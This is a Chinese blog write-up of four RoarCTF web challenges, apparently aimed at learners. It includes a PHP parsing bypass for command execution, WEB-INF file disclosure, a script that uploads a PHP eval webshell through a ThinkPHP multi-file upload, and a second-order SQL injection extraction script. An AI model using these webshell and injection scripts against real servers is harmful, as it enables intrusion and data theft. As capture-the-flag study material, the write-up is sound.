Roar CTF Web题解析

前言:

没错又是疯狂自闭的一场比赛,说白了就是自己太菜,既然当初做不出来就好好分析一下wp吧,看看是哪些地方欠缺

easy_calc:

通过查看源代码,我们可以发现有calc.php这个文件

发现这里通过正则表达式对一些特殊符号进行了过滤,但是坑定不可能这么简单是吧!坑定另有蹊跷!我们输入一些字母试试看。

果不其然!不可能这么轻松,我们这里看一下弹窗的内容,发现“这啥?算不来!”在我们之前的php代码中没有出现过,说明坑定有一个隐藏的waf来对我们对输入进行一个判断和拦截!

在这里通过 -- 利用PHP的字符串解析特性Bypass (感谢wp

https://www.freebuf.com/articles/web/213359.html

简单概述一下就是: $_GET $POST 中 我们会把/?foo=bar变成Array([foo] => “bar”),但是查询字符串在解析的过程中会将某些字符删除或用下划线代替。

举个例子:?%20num[id=1 最终在php解析对过程中会变成如下

可以看到 我们这里对 %20 和 [ 最终解析下 %20没了,[被解析成了_ ,所以我们可以通过这个性质来进行bypass。上面这篇文章都作者写的非常详细,并且举例了各种情况,非常建议去看一下。

所以通过上面都方法,我们可以看到这里phpinfo成功都爆出来了。说明我们有可能可以通过命令执行来获取flag的内容。但是试了试好像 ' 被过滤了,所以需要用chr来进行转换绕过。但是么,我人又懒,一个个对应ascii表我寻思着也太麻烦了吧。所以就写个脚本好了~

user_input = input("translate:") result = "" for value in user_input: #value = "".join(value) value = "chr(" + str(ord(value))+")" + "." result = result + value print(result.strip("."))
Code language: PHP (php)

好了,准备一切就绪我们开始吧!我们首先看看当前文件夹下有哪些

我们直接查看根目录下的文件吧 /calc.php?%20num=var_dump(scandir(chr(47)))

然后我们可以看到f1agg,所以flag应该就在这里面吧,话不多说试试就试试!

然后我们通过php的file_get_contents函数来进行读取文件

file_get_contents:将整个文件读入一个字符串

然后我们只要查看 /f1agg 便可以

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

还有一种方法是通过进制转换,后面应该会补充吧.....

总结:

这道题的核心点我觉得就是那个利用php字符串解析规则bypass,利用chr把引号过滤绕过也不少见,后面就是正常的php命令执行

easy_java

看到登录页面,看wp上面说 admin/admin888,登录进去的页面

图片的路径为/images/img1.jpg

看似好像没什么我们回去看看,之前登录框有个help好像没有看

可以看到这里的help应该有点名堂的

正常情况下,应该直接就下载了,但是这里好像并没有下载。这个GET类型,看了wp上面说是POST类型,所以在burp下我们将GET变成POST

这里如果直接把GET 改成 POST 会报500的,这是因为我们没有添加 Content-Type:application/x-www-form-urlencoded

这是post请求的两种编码格式中的一个,形式就是 key=value 这样

这篇文章说的比较好,可以去看看 https://www.jianshu.com/p/53b5bd0f1d44我这里就不过多阐述了。

ok,我们重新看上面那张截图,通过修改http的请求方法我们可以看出,这样可以下载图片了,那么这样的话我们是不是可以去读取别的文件了呢?在我们正式行动之前我们需要捋清楚,这是 java web

WEB-INF目录结构:

1.它是java的web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。

2.web.xml项目部署文件。

3.classes文件夹,用以防止*.class文件

4.lib文件夹,用于存放需要的jar包。

WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。

如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

所以我们先去访问一下/WEB-INF/web.xml

我们可以在响应信息中看到flag

 /WEB-INF/classes/ 包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。

所以我们根据对应的路径进行读取就可以了

这样我们就可以得到flag,base64解码之后就可以获得flag了

Simple Upload

进到页面就看到了源码,是thinkphp的框架,题目是simple upload 应该就是要利用到文件上传漏洞,但是貌似没有直接的上传点,先简单的看一下这个页面,看看可不可以弄到什么版本号...

简单的看了下好像f12,network里面没有什么特别有用的信息。

(补充原理和理解 http://网址/index.php/Home/Index/advert

访问 /index.php/sodkn (index.php/后面的乱输就行,这样才会有页面错误)

这样就可以看到这里thinkphp的版本为 3.2.4

然后我们下载对应对源码进行查看 下载地址:https://github.com/top-think/thinkphp

找到Upload.class.php文件

看了源码之后其实就可以知道       

$upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型

这行代码是形同虚设,因为在thinkphp中对upload这个对象里面根本没有allowExts这个方法..所以不用管就可以了~

找到对应的upload方法进一步查看。

这里我们可以看到如果upload的参数为空的话为多文件上传,整个$_FILES数组的文件都会上传保存

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

$uploadFile = $_FILES['file'] ; if (strstr(strtolower($uploadFile['name']), ".php") ) { return false; }
Code language: PHP (php)

题目中只限制了$_FILES[file]的上传后缀,也只给出$_FILES[file]上传后的路径,那我们上传多文件就可以绕过php后缀限制。所以只要我们另一个文件的表单名字不是file就可以了,如下图

我们观察这个数据包里面的第二个1.php文件那块,name=file2,所以这个意思就是表单名字不是file的意思。这样我们就可以进行文件上传了。

但是通过进一步查看源码可以发现我们上传的文件是通过uniqid函数来生成的

同时上传txt文件跟php文件,txt上传后的文件名跟php的文件名非常接近,遍历爆破txt文件名后三位0-9 a-f的文件名,就能猜出php的文件名

脚本如下:

import requests import itertools import re session = requests.Session() # thinkphp默认路由为pathinfo路径形式 → http://网址/index.php/分组/控制器/操作方法 url = 'http://fb59e478-81ad-4f1b-91a0-42d76d09a023.node3.buuoj.cn/index.php/home/index/upload' files = {'file': ('a.txt', 'a'), 'files':('a.php', '<?php @eval($_POST["t"]); ?>')} res = session.post(url, files=files).text print(res) pattern = re.compile(r'(\d+\w+)\.') pattern2 = re.compile(r'\/(.*?)\\') path = pattern2.findall(res) result = "".join(pattern.findall(res)) # print(path) name = result[:10] # 忽略后三位文件名 part1 = "".join(path[0]) part2 = "".join(path[1]) part3 = "".join(path[2]) # print(name) url = "http://fb59e478-81ad-4f1b-91a0-42d76d09a023.node3.buuoj.cn/" + part1 + "/" + part2 + "/" + part3 + "/" dic = '0123456789abcdef' for i in itertools.permutations(dic, 3): u = url + name + ''.join(i) + '.php' s = session.get(u) print(str(u) +":" + str(s.status_code)) if s.status_code == 404: pass else: print(u, s.text) break
Code language: PHP (php)

然后就可以获取到flag了

总结:

我们这里通过上传多个文件来进行绕过题目中的file后缀限制,特别注意的就是我们上传的一句话木马的表单名字一定不能是file。然后又由于uniqid函数是按照时间的所以我们可以通过脚本进行爆破。

参考链接:官方wp

http://www.gtfly.top/2019/10/19/RoarCTF-wp.html#simple-upload

https://www.cnblogs.com/20175211lyz/p/11729027.html

Online Proxy

赵总出的这道题目考察了 X-Forwarded-For 伪造,以及sql的二次注入。

X-Forwarded-For 本来的作用是为了显示出 请求端真实的ip。

查看源码

<!-- Debug Info: Duration: 0.06725001335144 s Current Ip: 174.0.0.2 -->
Code language: HTML, XML (xml)

可以看到 current ip 显示了当前的ip,利用postman尝试X-Forwarded-For伪造。

我们通过在http头里面构造了一个 值的KpLi0rn的包进行发送,我们可以发现,现在的current ip 变成了KpLi0rn

尝试查看是否有注入 我们发送一个 1' or '1 的数据包过去 ,结果如下

欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。<br> 为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。<br> <!-- Debug Info: Duration: 0.055525064468384 s Current Ip: 1' or '1 Last Ip: KpLi0rn -->
Code language: HTML, XML (xml)

我们的目的是需要把 这个 1' or '1 写入到数据库中从而构成二次注入 。

再发送一个值为KpLi0rn的数据包

<!-- Debug Info: Duration: 0.04669713973999 s Current Ip: KpLi0rn Last Ip: 1' or '1 -->
Code language: HTML, XML (xml)

这里为什么还是 1' or '1 其实这是 1' or '1 已经写到数据库里面了,但是由于服务端判断前后两次的ip不一样,所以直接显示之前的ip了,所以我们后面只需要再发一次同样的包,由于前后两个包的数值都是KpLi0rn,所以last ip 需要从数据库中读取之前的ip,这时就可以验证有sql二次注入,结果如下。

欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。<br> 为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。<br> <!-- Debug Info: Duration: 0.041491985321045 s Current Ip: KpLi0rn Last Ip: 1 -->
Code language: HTML, XML (xml)

我们可以看到这里last ip 变成了 1 。接下来使用python自动化就可了,这里先放赵总的脚本。

import requests target = "http://node3.buuoj.cn:28546/" def execute_sql(sql): print("[*]请求语句:" + sql) return_result = "" payload = "0'|length((" + sql + "))|'0" session = requests.session() r = session.get(target, headers={'X-Forwarded-For': payload}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) start_pos = r.text.find("Last Ip: ") end_pos = r.text.find(" -->", start_pos) length = int(r.text[start_pos + 9: end_pos]) print("[+]长度:" + str(length)) for i in range(1, length + 1, 5): payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0" r = session.get(target, headers={'X-Forwarded-For': payload}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) start_pos = r.text.find("Last Ip: ") end_pos = r.text.find(" -->", start_pos) result = int(r.text[start_pos + 9: end_pos]) return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8') print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8')) return return_result # 获取数据库 print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA")) # 获取数据库表 print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'")) # 获取数据库表 print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' ")) # 获取表中内容 print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))
Code language: PHP (php)

后面会补充自己的python脚本。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇